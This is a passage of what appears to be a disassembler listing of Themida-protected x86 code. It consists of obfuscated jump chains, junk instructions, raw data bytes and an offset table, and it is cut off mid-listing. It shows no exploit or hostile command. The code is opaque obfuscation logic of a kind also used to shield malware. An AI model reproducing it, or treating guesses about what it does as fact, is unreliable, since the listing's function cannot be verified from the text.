0FFFF52C3h ; --------------------------------------------------------------------------- loc_541180: ; CODE XREF: Themida_:0053F455j add ecx, 4 add ecx, 4 jmp loc_53EE95 ; --------------------------------------------------------------------------- db 59h, 0D1h, 0EFh dd 0F781DFF7h, 3A8D526Fh, 0C781DFF7h, 25FE5A66h, 0FFDD7AE9h db 0FFh byte_5411A9 db 8Fh, 47h, 40h ; DATA XREF: Themida_:00535294o dd 0FF41B2E9h, 243C33FFh, 33243C31h, 248B243Ch, 0CD36624h dd 9CE99C24h db 41h, 2 dup(0FFh) byte_5411C7 db 8Bh ; DATA XREF: Themida_:00535218o dd 0EC812404h, 4, 83240489h, 84E904ECh, 87FFFF6Ah, 248B241Ch dd 240C8924h, 3C340DB9h, 244C2946h, 240C8B04h, 8104C483h dd 23D22404h, 481227Ch, 4C407A24h, 24040116h, 7A242C81h dd 53164C40h, 87447BBh, 0B2C38178h, 0F70FB116h, 49CB81DBh dd 0E972EF4Ah, 0FFFF96A5h ; --------------------------------------------------------------------------- loc_541224: ; CODE XREF: Themida_:00540CA0j sub esp, 4 mov [esp], ecx push eax mov eax, 607052A2h jmp loc_541470 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 5EBA5224h, 0C1209031h, 0CA8102E2h dd 75544914h, 0E907E2C1h, 0FFFFE73Ah, 4C4815Ch, 0E9000000h dd 0FFFFE4A5h ; --------------------------------------------------------------------------- loc_541264: ; CODE XREF: Themida_:0053B6FEj mov [esp], ebp mov ebp, 683E2B70h jmp loc_5412BF ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 9C240428h, 0FF40E6E9h, 24248BFFh, 9C2424D2h, 0FF40DAE9h dd 5E089FFh, 4, 0B8BD5553h, 0C154CA1Bh, 0DDF704EDh, 525BE581h dd 0DDF77F5Eh, 0FF4B35E9h db 0FFh ; --------------------------------------------------------------------------- loc_5412A9: ; CODE XREF: Themida_:0053D1AEj mov edi, [esp] add esp, 4 xor eax, edi jmp loc_5365F4 ; --------------------------------------------------------------------------- dw 1489h dd 99E95524h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5412BF: ; CODE XREF: Themida_:0054126Cj sub edi, ebp mov ebp, [esp] add esp, 4 mov edx, edi jmp loc_5377F6 ; --------------------------------------------------------------------------- dw 5547h dd 0B2713BDh, 48E58114h, 8149974Fh, 0DF220EE5h, 81D5F70Dh dd 380298F5h, 0BFBB535Ah, 0C17C0A05h, 0DAE903EBh db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5412F7: ; CODE XREF: Themida_:0053A203j sub eax, edx push edi jmp loc_53FE7B ; --------------------------------------------------------------------------- db 66h dd 662C7AB9h, 6606E9C1h, 0C9A0E981h, 5E1C166h, 48C98166h dd 66536656h, 0E938CDBBh, 0FFFFE564h, 6F78E940h db 2 dup(0FFh) word_541326 dw 8B66h ; DATA XREF: Themida_:00535198o dd 0EC812404h, 4, 0E9243C89h, 0FFFF939Dh, 4BAh, 5AD00100h dd 0FFE175E9h, 240487FFh, 2434895Ch, 0FFBD6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_541351: ; CODE XREF: Themida_:0053BDE5j sub esp, 4 mov [esp], ebx xor dword ptr [esp], 338718E2h pop esi xor esi, 338718E2h mov edi, esi push dword ptr [esp] pop esi jmp loc_53F84D ; --------------------------------------------------------------------------- dd 0E904EE83h, 0FFFFA219h, 8904EC83h, 1AE9240Ch db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541383: ; CODE XREF: Themida_:00536CAFj neg ebp shl ebp, 8 shr ebp, 6 add ebp, 1 jmp loc_53DCB6 ; --------------------------------------------------------------------------- db 0BEh dd 22A830CBh, 8105EEC1h, 0A61CE2E6h, 0B698E915h, 104FFFFh dd 0FFE77AE9h, 0EC181FFh, 5B578E01h, 31240C33h, 0C33240Ch dd 24248B24h, 24048966h, 0FF815DE9h, 20559FFh, 0E9000000h dd 0FFFF8AC5h, 51664F0Ch, 42E468h, 24048900h, 0C5889BB0h dd 8124048Bh, 4C4h, 66E83000h, 8BC32859h, 0E9572404h, 0FFFFDC48h dd 4C581h, 0E9500000h, 0FFFF8123h, 42474FFh, 24048F59h dd 0BB0F665Ch, 0E99C2404h, 0FFFF3F47h, 0E92434FFh, 0FFFFF3C8h dd 81E68956h, 4C6h, 0D160E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541432: ; CODE XREF: Themida_:0053560Dj push edi mov edi, 601444D3h sub esp, 4 jmp loc_53AE5F ; --------------------------------------------------------------------------- dd 2434FF5Ch, 8124148Bh, 4C4h, 4C48100h, 51000000h, 0E9A5B252h dd 0FFFF809Ah, 3304C683h, 34312434h, 24343324h, 0E924248Bh dd 0FFFF3EF3h ; --------------------------------------------------------------------------- loc_541470: ; CODE XREF: Themida_:00541233j mov ecx, 607052A3h add ecx, 22B96254h sub ecx, eax sub ecx, 22B96254h pop eax push 136Fh mov [esp], edx mov edx, 24h push eax push ebx mov ebx, 4984D14h sub ebx, 915E13CCh mov eax, ebx pop ebx add edx, eax pop eax add edx, edi jmp loc_536400 ; --------------------------------------------------------------------------- loc_5414AB: ; CODE XREF: Themida_:00540E4Bj sub esi, 0F28E0DCFh jmp loc_53E899 ; --------------------------------------------------------------------------- loc_5414B6: ; CODE XREF: Themida_:00537D94j sub edi, 0B68FF2A5h jmp loc_538831 ; --------------------------------------------------------------------------- db 80h, 0C9h, 0E7h dd 0F696E180h, 4EC83D9h, 0E9241C89h, 0FFFF719Bh, 62D16857h dd 0F75F3BB6h, 0E4A3E9DFh, 0C87FFFFh, 0C3895C24h, 8BD92158h dd 80E9241Ch, 68FFFF54h, 0D8Bh, 0E9240C89h, 0FFFFFF08h dd 15B0EF81h, 8359116Bh, 0BFE904C7h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54150F: ; CODE XREF: Themida_:0053CFD8j push 889784D0h push dword ptr [esp] jmp loc_53FE50 ; --------------------------------------------------------------------------- dd 80E6C480h, 0EC8038F4h, 58E628BDh, 5B5AF000h, 0FF56C3E9h dd 0E9D029FFh, 0FFFFDE2Ah ; --------------------------------------------------------------------------- loc_541538: ; CODE XREF: Themida_:0053D6DEj push ecx jmp loc_538EC4 ; --------------------------------------------------------------------------- dw 0F201h dd 8124348Bh, 4C4h, 4C28100h, 87000000h, 248B2414h, 3E09E924h dd 15BFFFFh, 98EF81EFh, 0E974A52Ah, 0FFFF824Eh, 54E9D830h dd 5DFFFF87h, 311A3905h, 0D924E979h, 0C581FFFFh, 4, 4C581h dd 2C870000h, 0C3815C24h, 4, 8302C383h, 1C8904ECh, 0E523E924h dd 0C33FFFFh, 240C3124h, 0E9240C33h, 0FFFFFCC5h ; --------------------------------------------------------------------------- loc_5415AC: ; CODE XREF: Themida_:00535F30j push esp pop eax push edi jmp loc_53BABA ; --------------------------------------------------------------------------- dd 0DBBA5240h, 3114B640h, 0B7E95AD0h, 8FFFFFB7h, 895C2404h dd 0E9542414h, 0FFFFD9F5h, 0F562E947h, 2BEFFFFh, 81000000h dd 46277CC2h, 0E9F22901h, 0FFFF89D8h, 4BB53h, 0DA010000h dd 0FF9CEBE9h, 4A24BEFFh, 0BD5575CEh, 35775781h, 0FFD0E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_541605: ; CODE XREF: Themida_:00538FCDj pop esp add ebp, ecx jmp loc_53C6CE ; --------------------------------------------------------------------------- loc_54160D: ; CODE XREF: Themida_:0053B903j mov [esp], ebp jmp loc_538F41 ; --------------------------------------------------------------------------- byte_541615 db 66h, 0ADh, 66h ; DATA XREF: Themida_:0053526Co dd 0E97D1968h, 0FFFF8415h, 8F72CFBDh, 6E5C134h, 0B3BCED81h dd 0E82923DCh, 74FF505Dh, 48B0424h, 0E0895024h, 405h, 0A0D4E900h db 2 dup(0FFh) word_541646 dw 0B268h ; DATA XREF: Themida_:005352C0o dd 5400007Ah, 8124048Fh, 4ECh, 24148900h, 4BAh, 246C8100h dd 0AD1E5504h, 7685269h, 5A27FF56h, 8245429h, 2454015Ah dd 24448104h, 0FF560704h, 55BE5627h, 169AD1Eh, 5E082474h dd 5A2434FFh, 0F910E957h db 2 dup(0FFh) word_541692 dw 34FFh ; DATA XREF: Themida_:00535130o dd 0E9555824h, 0FFFF5FF0h, 2DE9B2B1h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5416A3: ; CODE XREF: Themida_:005379A1j push edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] jmp loc_5393CF ; --------------------------------------------------------------------------- db 89h dd 0E7C158C7h, 4EC78105h, 0C1263C65h, 0D7F707E7h, 0FFFFEF81h dd 0EF81FFFFh, 1, 0F8FBF781h, 0FD01DCFEh, 2BE565Fh, 0E9000000h dd 0FFFFEFD8h dword_5416E8 dd 24048B66h, 51585450h, 31CCBB53h, 0EBC1494Ch, 0EB874B06h ; DATA XREF: Themida_:005350A0o dd 0FF9496E9h db 0FFh ; --------------------------------------------------------------------------- loc_541701: ; CODE XREF: Themida_:0053FEF1j mov [esp], eax jmp loc_53AD6B ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 aSiuh db 'S‰ãh»=',0 align 4 dd 0E9243C89h, 0FFFFA814h, 33E268h, 24048900h, 0FF7155E9h dd 4C681FFh, 57000000h, 4BFh, 0E9FE0100h, 0FFFF7414h, 241C8B66h dd 81E38953h, 4C3h, 2C38100h, 87000000h, 685C241Ch, 7EFCh dd 89241C89h, 4C381E3h, 0E9000000h, 0FFFFB07Ch, 0E9CF015Bh dd 0FFFFED0Eh ; --------------------------------------------------------------------------- loc_541770: ; CODE XREF: Themida_:0053B715j push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_538F7A ; --------------------------------------------------------------------------- byte_54177D db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00535154o dd 419589Dh, 0D8E99C24h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54178B: ; CODE XREF: Themida_:0053B09Cj mov edi, [esp] add esp, 4 push ebp mov ebp, 1CEA6080h shl ebp, 5 shr ebp, 1 xor ebp, 4EA60804h add eax, ebp jmp loc_5390A9 ; --------------------------------------------------------------------------- loc_5417A9: ; CODE XREF: Themida_:0053963Dj sub edx, edi mov edi, [esp] add esp, 4 push eax mov eax, 33E67B43h xor edx, eax pop eax shr edx, 5 push edi jmp loc_5387DF ; --------------------------------------------------------------------------- db 83h dd 0A7E904C4h db 0B5h, 2 dup(0FFh) byte_5417CB db 66h ; DATA XREF: Themida_:0053522Co dd 56240C8Bh, 0EC81E689h, 4, 0E9240C89h, 0FFFF6862h, 9BE9525Ah dd 0BBFFFF6Ah, 667250EBh, 0FF88A0E9h, 0E95258FFh, 0FFFF89FCh dd 591E96h, 592B80h, 0FA37D4F5h, 591E96h, 7FFE0304h, 520001h dd 9E69DDh, 213h, 2, 1, 6, 0FA37D4F5h, 5 dup(0) dd offset byte_54284D dd offset byte_541ECD dd offset word_54945A dd offset byte_543AB5 dd offset aMhx_ ; "¬hx_" dd offset byte_54DB07 dd offset byte_54F575 dd offset dword_54CE9C dd offset byte_54F91F dd offset word_552DFA dd offset byte_5455BB dd offset word_543E1E dd offset byte_547853 dd offset byte_5538B1 dd offset dword_546414 dd offset byte_554449 dd offset dword_55034C dd offset byte_54359F dd offset byte_544161 dd offset byte_547F21 dd offset word_5553D2 dd offset word_54EF96 dd offset aNsin ; "éˆ" dd offset byte_54DBC1 dd offset word_552D72 dd offset byte_548CE1 dd offset dword_54A950 dd offset byte_5481E9 dd offset byte_54EBF3 dd offset byte_549339 dd offset word_546BA2 dd offset word_54544A dd offset word_54DCD2 dd offset byte_54E491 dd offset dword_54BB74 dd offset dword_5444C0 dd offset byte_551135 dd offset dword_547C1C dd offset dword_5476A4 dd offset byte_543663 dd offset aNhq ; "hQ~" dd offset word_54FD76 dd offset byte_553D3D dd offset byte_549CD5 dd offset dword_54E8E4 dd offset byte_54F79F dd offset dword_54A6A4 dd offset byte_554C37 dd offset aN1S ; "1ØéÂ:" dd offset byte_54419F dd offset byte_54A3D1 dd offset byte_550749 dd offset dword_5553C8 dd offset dword_549C80 dd offset aNswl ; "éWl" dd offset byte_555945 dd offset byte_54E50D dd offset byte_54A3C7 dd offset byte_54663D dd offset dword_548AE4 dd offset byte_547303 dd offset dword_541DBC dd offset byte_5420F1 dd offset dword_5531B0 dd offset word_54EC42 dd offset dword_54AC0C dd offset byte_54E809 dd offset dword_552720 dd offset byte_544D65 dd offset byte_5539A7 dd offset dword_542FD0 dd offset byte_555AFF dd offset byte_5472F9 dd offset byte_553F3B dd offset dword_54BCFC dd offset byte_54A43F dd offset byte_551EE3 dd offset byte_54567F dd offset byte_54AAFD dd offset dword_5450FC dd offset word_548946 dd offset dword_54D0AC dd offset byte_543337 dd offset dword_542964 dd offset dword_54F0CC dd offset byte_54D779 dd offset aMh_ ; "¬h_\a" dd offset dword_54FB20 dd offset byte_5521B5 dd offset byte_54C7F1 dd offset word_54A276 dd offset byte_543257 dd offset byte_54B2CD dd offset dword_556508 dd offset dword_543700 dd offset word_5569CE dd offset word_549552 dd offset byte_548D25 dd offset byte_5520FB dd offset dword_555E40 dd offset byte_5518AD dd offset byte_54E08D dd offset byte_543893 dd offset byte_55146F dd offset aM0Hn6 ; "¬0Øhn6" dd offset byte_54ED1B dd offset byte_549FA3 dd offset byte_554E0F dd offset word_543E86 dd offset byte_554327 dd offset byte_5480BD dd offset word_543452 dd offset word_55603E dd offset word_553CE2 dd offset word_5475BA dd offset byte_555A19 dd offset byte_555913 dd offset byte_544A29 dd offset dword_550E50 dd offset dword_542088 dd offset dword_546210 dd offset byte_553C8F dd offset off_548A8D dd offset byte_542153 dd offset dword_54DB4C dd offset byte_54CE5F dd offset word_549CF6 dd offset dword_544568 dd offset byte_54D44D dd offset byte_5552F1 dd offset byte_54E5D7 dd offset byte_55485B dd offset byte_555AA1 dd offset dword_5506A0 dd offset byte_5523A9 dd offset byte_545A69 dd offset byte_556B87 dd offset word_54FD9A dd offset dword_54AD68 dd offset dword_5467FC dd offset byte_54E9D1 dd offset byte_545B41 dd offset byte_54961B dd offset byte_554347 dd offset dword_54745C dd offset byte_545ECD dd offset byte_54514B dd offset byte_547155 dd offset byte_54D597 dd offset word_54216A dd offset dword_5524A4 dd offset byte_54811D dd offset byte_54674F dd offset byte_547C13 dd offset word_54EF66 dd offset word_54989A dd offset byte_5490D9 dd offset byte_551791 dd offset dword_55025C dd offset word_54E5BE dd offset aNshga ; "ShGa" dd offset byte_544963 dd offset byte_54D997 dd offset word_54AFDE dd offset word_54472A dd offset byte_5477E7 dd offset dword_54C57C ; --------------------------------------------------------------------------- loc_541AD8: ; CODE XREF: Themida_:00589FF0j pusha pushf cld call $+5 pop edi sub edi, 61C45EBh mov eax, edi add edi, 61C4303h cmp eax, [edi+2Ch] jnz short loc_541AF6 jmp short loc_541B09 ; --------------------------------------------------------------------------- loc_541AF6: ; CODE XREF: Themida_:00541AF2j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_541B05 ; --------------------------------------------------------------------------- loc_541B00: ; CODE XREF: Themida_:00541B07j add [edi+ecx*4+40h], eax dec ecx loc_541B05: ; CODE XREF: Themida_:00541AFEj or ecx, ecx jnz short loc_541B00 loc_541B09: ; CODE XREF: Themida_:00541AF4j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_541B16: ; CODE XREF: Themida_:00541B1Dj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_541B16 loc_541B1F: ; CODE XREF: Themida_:00543D6Bj ; Themida_:00543ED8j ... lodsb push 7205h mov [esp], ebx jmp loc_545B5B ; --------------------------------------------------------------------------- loc_541B2D: ; CODE XREF: Themida_:0054C8D0j pop ebp jmp loc_54F5A3 ; --------------------------------------------------------------------------- db 5Ch dd 24148B66h, 0D1EEE956h, 0C2810000h, 0C9364E6h, 4967C281h dd 0C201011Ah, 4967EA81h, 0EA81011Ah, 0C9364E6h, 15B1E9h dd 0EBC15F00h, 0CE685108h, 8900007Fh, 0EFB82404h, 351D373Fh dd 1D3715E1h, 3C40E9h, 5EC68000h, 0EE80CE00h, 240C8B5Eh dd 8004C483h, 0C6807AE6h, 0F263E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_541B92: ; CODE XREF: Themida_:00547960j pop ebp xchg esi, [esp] jmp loc_54B14C ; --------------------------------------------------------------------------- loc_541B9B: ; CODE XREF: Themida_:00549003j add ebp, 7BEC4DF0h add ecx, ebp jmp loc_5567C5 ; --------------------------------------------------------------------------- loc_541BA8: ; CODE XREF: Themida_:0054AA3Aj pop edi jmp loc_5446E4 ; --------------------------------------------------------------------------- dw 0ED80h dd 59EF3009h, 800FCF80h, 0E7E9B2F7h, 8000001Fh, 0D9008CF3h dd 1753685Bh, 9E90000h, 5A000067h, 0B329E9h db 0 ; --------------------------------------------------------------------------- loc_541BD5: ; CODE XREF: Themida_:005427A7j xor [esp+4], ebp jmp loc_54BCD2 ; --------------------------------------------------------------------------- dw 8159h dd 4C4h, 26FDE900h, 0E1890001h, 3950BB53h, 39E94ECBh, 0C10000F7h dd 0EEC105EEh, 2AF68108h, 890007DFh, 0D8895EF3h, 8BC2295Bh dd 0A0E92404h, 810000D7h, 4C4h, 58F46800h, 0C890000h, 81595424h dd 4C1h, 4C18300h, 5C240C87h, 33B868h, 24148900h, 3C1F5FBAh dd 246C8152h, 0C66F8004h, 2454016Ah, 24448104h, 0C66F8004h dd 4815A6Ah, 0C61F9924h, 24048162h, 761D0DEEh, 81240401h dd 0DEE242Ch, 2C81761Dh, 0C61F9924h, 242C8162h, 523C1F5Fh dd 739FB850h, 0BAE909B3h, 8B0000A2h, 0C483241Ch, 4479E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_541C8E: ; CODE XREF: Themida_:0054F277j mov ebp, [esp] add esp, 4 mov eax, [esp] add esp, 4 and eax, edi mov edi, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push edi mov edi, 4 jmp loc_5451A6 ; --------------------------------------------------------------------------- loc_541CC1: ; CODE XREF: Themida_:005458DAj xor eax, ecx jmp loc_547521 ; --------------------------------------------------------------------------- loc_541CC8: ; CODE XREF: Themida_:00544E29j pop eax add esi, 5D557FC9h add esi, ebp sub esi, 5D557FC9h mov ebp, [esp] add esp, 4 push esi jmp loc_55590A ; --------------------------------------------------------------------------- loc_541CE3: ; CODE XREF: Themida_:00554881j add esp, 4 sub esp, 4 mov [esp], edi push edx jmp loc_5505FA ; --------------------------------------------------------------------------- dd 5BE9CE00h, 55000084h, 0BB2E3CBDh, 0CAC5812Dh, 1060EF3h dd 0EA815DEAh, 0C76A1D6Fh, 0DEAAE9h db 0 ; --------------------------------------------------------------------------- loc_541D19: ; CODE XREF: Themida_:0055349Dj pop edi mov eax, [esp] jmp loc_548AB0 ; --------------------------------------------------------------------------- loc_541D22: ; CODE XREF: Themida_:0054F652j add ecx, 4DE0886h add ecx, 3AED697Ch add ecx, eax sub ecx, 3AED697Ch push edi mov edi, 395E2B88h push esi mov esi, 41104265h xor edi, esi mov esi, [esp] add esp, 4 push ecx mov ecx, 2276635Fh jmp loc_547FD1 ; --------------------------------------------------------------------------- db 29h, 0F3h, 8Bh dd 0C4832434h, 57C30104h, 0AD25E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_541D66: ; CODE XREF: Themida_:0055296Aj push 7D18h mov [esp], eax push 13C9h mov [esp], edi mov edi, 7E910A26h push ecx mov ecx, 51243C8Bh xor edi, ecx mov ecx, [esp] add esp, 4 not edi inc edi xor edi, 34BA6B5Bh jmp loc_54416A ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 24048324h, 0C2815A04h, 4, 8704C283h, 248B2414h dd 8BC80124h, 0E951240Ch, 9694h dword_541DBC dd 240C8B66h, 231768h, 24348900h, 428E9h ; DATA XREF: Themida_:00541930o db 0 ; --------------------------------------------------------------------------- loc_541DCD: ; CODE XREF: Themida_:00549724j pop esp push 12E3h mov [esp], edi jmp loc_54D88F ; --------------------------------------------------------------------------- loc_541DDB: ; CODE XREF: Themida_:005496F3j inc bh jmp loc_55314E ; --------------------------------------------------------------------------- dw 0BB53h dd 2709491Fh, 515BD889h, 0FFFFBB53h, 0D989FFFFh, 59C8295Bh dd 5965E9h db 0 ; --------------------------------------------------------------------------- loc_541DFD: ; CODE XREF: Themida_:0054C3F9j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_54F35E ; --------------------------------------------------------------------------- a9aNaFSxasYsq db '´9€Ìn€ìF(áX€é` ÎYéq°',0 align 4 loc_541E24: ; CODE XREF: Themida_:00542444j mov esi, ecx push edx mov edx, esi mov ebp, edx pop edx pop esi pop ecx add [esp+4], ebp pop ebp pop eax push ebx mov ebx, 4 add eax, ebx mov ebx, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp or eax, eax jz loc_54A144 push dword ptr [edi+1Ch] push ebp push edi mov edi, esp add edi, 4 jmp loc_54EA48 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0E904C783h, 6C03h, 5250A6BBh, 0F3814B60h, 6FD45B12h dd 0E95BDE21h, 105B7h, 0FF24248Bh, 48B2434h, 4C48324h dd 0E9E08950h, 262Ch, 5204C483h, 0ACC7E9h, 0DD895800h dd 0E92434FFh, 0DB6Eh, 2A1FF181h, 0CB01D9B0h, 10DF3E9h db 0 ; --------------------------------------------------------------------------- loc_541EC5: ; CODE XREF: Themida_:0054930Bj shl eax, 1 push esi jmp loc_54833F ; --------------------------------------------------------------------------- byte_541ECD db 8Fh, 2, 0E9h ; DATA XREF: Themida_:00541840o dd 102B7h, 68243489h, 5DFBh, 68241C89h, 4A731669h, 5B2434FFh dd 4C481h, 54680000h, 89000031h, 9EE9240Ch db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_541EFB: ; CODE XREF: Themida_:0054E47Dj add eax, edi sub esp, 4 mov [esp], edi mov edi, 5B6615ECh add eax, 5ECE770Ah jmp loc_555732 ; --------------------------------------------------------------------------- aYhxv db 'Yhxv',0 dw 8900h dd 14F7241Ch, 0FB0EE924h, 89660000h, 4DB3241Ch, 8B66DA30h dd 0C483241Ch, 0FEEA8602h, 0E9EA86C5h, 135Ch ; --------------------------------------------------------------------------- loc_541F40: ; CODE XREF: Themida_:0054512Aj pop ebp pop dword ptr [esp] pop esp mov [esp], ebp jmp loc_554BD6 ; --------------------------------------------------------------------------- loc_541F4D: ; CODE XREF: Themida_:00553F2Fj mov esi, 0DD83DCECh add edx, esi pop esi add edx, ecx pop ecx jmp loc_54AAD3 ; --------------------------------------------------------------------------- db 66h, 0C1h, 0E8h dd 0E0C16608h, 0C6056607h, 0C629663Bh, 0CE816658h, 81662179h dd 66C63FF6h, 348BF189h, 4C48124h, 0E9000000h, 0BAA7h dd 56E9E901h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_541F8F: ; CODE XREF: Themida_:00549181j push ebp mov ebp, 34C228C2h jmp loc_548C33 ; --------------------------------------------------------------------------- loc_541F9A: ; CODE XREF: Themida_:0054862Bj pop ebp shr eax, 0Bh xor ecx, eax push edx jmp loc_542423 ; --------------------------------------------------------------------------- loc_541FA6: ; CODE XREF: Themida_:00543F29j sub ebx, 165653E5h jmp loc_54F728 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0ECh dd 4, 56240C89h, 304F2868h, 7A1BE900h, 8B660000h, 0C4812404h dd 2, 3059C888h, 30C830C1h, 50E950C1h, 8000004Bh, 0F80036EFh dd 0CB78E9h, 5BDC8800h, 4EC8353h, 88240C89h, 73FAE9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_541FFA: ; CODE XREF: Themida_:00543F91j sub al, 55h add al, 1Eh mov bx, [esp] jmp loc_552832 ; --------------------------------------------------------------------------- dd offset dword_502044+124h align 4 dd 9884E9h db 0 ; --------------------------------------------------------------------------- loc_542011: ; CODE XREF: Themida_:00553D80j mov edi, [esp] add esp, 4 jmp loc_548800 ; --------------------------------------------------------------------------- loc_54201F: ; CODE XREF: Themida_:00546D12j or dh, bl pop bx sub dh, 44h mov bh, dh pop edx jmp loc_5524BD ; --------------------------------------------------------------------------- loc_54202E: ; CODE XREF: Themida_:00545813j push esp jmp loc_546120 ; --------------------------------------------------------------------------- loc_542034: ; CODE XREF: Themida_:0054965Cj and eax, esi jmp loc_54E2D7 ; --------------------------------------------------------------------------- db 1 dd 14875FFAh, 2015E924h, 50660000h, 0E9E3B652h, 0AC50h ; --------------------------------------------------------------------------- loc_542050: ; CODE XREF: Themida_:0054E43Aj push 0D9F48D8h mov edx, [esp] push esi jmp loc_551A43 ; --------------------------------------------------------------------------- loc_54205E: ; CODE XREF: Themida_:005440D5j pop edx jmp loc_54F484 ; --------------------------------------------------------------------------- loc_542064: ; CODE XREF: Themida_:0055652Dj push ecx jmp loc_54E6DC ; --------------------------------------------------------------------------- dw 0DF01h dd 243C875Bh, 5724248Bh, 2F03F8BFh, 0CBE94773h, 5F00014Ah dd 0E924048Fh, 0F07Ch dword_542088 dd 0E940478Fh, 0FFFFFA8Fh, 0D57297BAh, 5AD62113h, 42E9DE87h ; DATA XREF: Themida_:00541A18o dd 0FF00006Fh, 835F2434h, 0C58104C4h, 2, 8B242C87h, 3B662424h dd 9CE99CC8h, 2C0000D1h, 0E9F02877h, 0FE11h ; --------------------------------------------------------------------------- loc_5420C4: ; CODE XREF: Themida_:0054C69Aj xor ebx, 5CE91752h jmp loc_546DE5 ; --------------------------------------------------------------------------- aBs0VcsI db 'é0,¢céµ›',0 align 2 loc_5420DA: ; CODE XREF: Themida_:00543B96j pop ecx add esp, 4 jmp loc_5495C9 ; --------------------------------------------------------------------------- dw 39BEh dd 46041A20h, 0B801E9h db 0 byte_5420F1 db 0ACh, 53h, 51h ; DATA XREF: Themida_:00541934o dd 0E980BAB1h, 59CF88FFh, 807BF780h, 0F6531AF7h, 8B012454h dd 0C483241Ch, 0EDEF8004h, 5BF828h, 6B151D8h, 42BAE9h db 0 ; --------------------------------------------------------------------------- loc_54211D: ; CODE XREF: Themida_:00552040j add edi, 4 push eax push ecx jmp loc_547628 ; --------------------------------------------------------------------------- loc_54212A: ; CODE XREF: Themida_:0054FA6Bj push edx mov edx, 4B2DCA96h add ebx, 6EF43DCh sub ebx, edx jmp loc_5472B5 ; --------------------------------------------------------------------------- loc_54213D: ; CODE XREF: Themida_:00551DD2j push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5555AF ; --------------------------------------------------------------------------- byte_542153 db 66h ; DATA XREF: Themida_:00541A28o dd 6824048Bh, 6C0Bh, 81243C89h, 4ECh, 0D912E900h db 2 dup(0) word_54216A dw 6468h ; DATA XREF: Themida_:00541A90o dd 0E9000002h, 12A94h ; --------------------------------------------------------------------------- loc_542174: ; CODE XREF: Themida_:0055659Ej pop edx push edx sub esp, 4 jmp loc_5511D0 ; --------------------------------------------------------------------------- loc_54217E: ; CODE XREF: Themida_:0054D2ACj add edi, 4 add edi, 4 jmp loc_54F93A ; --------------------------------------------------------------------------- db 33h dd 285C2404h, 240C8BCBh, 0CC28E9h, 0E9C82900h, 11994h dd 0E9240489h, 0EF11h, 4EC81h, 1C890000h, 501AB324h, 0E18859B4h dd 4B32E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5421C2: ; CODE XREF: Themida_:00546E2Cj ; Themida_:00554D6Dj sub esp, 4 mov [esp], eax push 6C5Fh mov [esp], ebp mov ebp, 3F904DD7h push 7B70h mov [esp], esi push edx mov edx, 75160CAFh shr edx, 1 and edx, 0EFA4C7Dh push 228Eh jmp loc_549E2A ; --------------------------------------------------------------------------- aRitsn db 'R‰âéN×',0 dd 24248B00h, 0F66F1F6h, 6866CCB6h, 89665850h, 0F66240Ch dd 5166C8B6h, 0F905E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54221A: ; CODE XREF: Themida_:0054E847j push 0 jmp loc_54F23A ; --------------------------------------------------------------------------- dd 34FFEE31h, 7AE95D24h, 66000112h, 28000068h, 9BE9240Ch db 4, 1, 0 ; --------------------------------------------------------------------------- loc_54223B: ; CODE XREF: Themida_:0054AEDDj jnz loc_554D9C push ecx jmp loc_54A70A ; --------------------------------------------------------------------------- loc_542247: ; CODE XREF: Themida_:0054A1D5j push ecx jmp loc_552BFF ; --------------------------------------------------------------------------- db 81h, 0EBh, 92h dd 813D183Fh, 619E63C3h, 1938E93Ah db 1, 0 ; --------------------------------------------------------------------------- loc_54225E: ; CODE XREF: Themida_:0054A465j push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5431D4 ; --------------------------------------------------------------------------- loc_54226B: ; CODE XREF: Themida_:00553F8Aj mov esi, esp sub esp, 4 mov [esp], eax jmp loc_550AB4 ; --------------------------------------------------------------------------- aSgz db ',ÞégZ',0 align 2 loc_542282: ; CODE XREF: Themida_:00549F59j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, 1C6360F6h add [esp+8], esi jmp loc_5552B8 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 243C8B54h, 4C481h, 0C7810000h, 4, 4C781h, 0E9570000h dd 972Bh, 0F916E5BAh, 5AD70131h, 4D94E9h, 0A9EE8100h, 516F71DBh dd 0EEE9F189h, 8B00004Bh, 0C4832414h, 0C0E95204h, 8300000Ch dd 1C8704EBh, 0A8E95C24h, 8100012Eh, 0D1BC8EEh, 79C6813Eh dd 0E9433901h, 12D6Ah, 2F41685Fh, 2C890000h, 34DE924h db 1, 0 ; --------------------------------------------------------------------------- loc_54230E: ; CODE XREF: 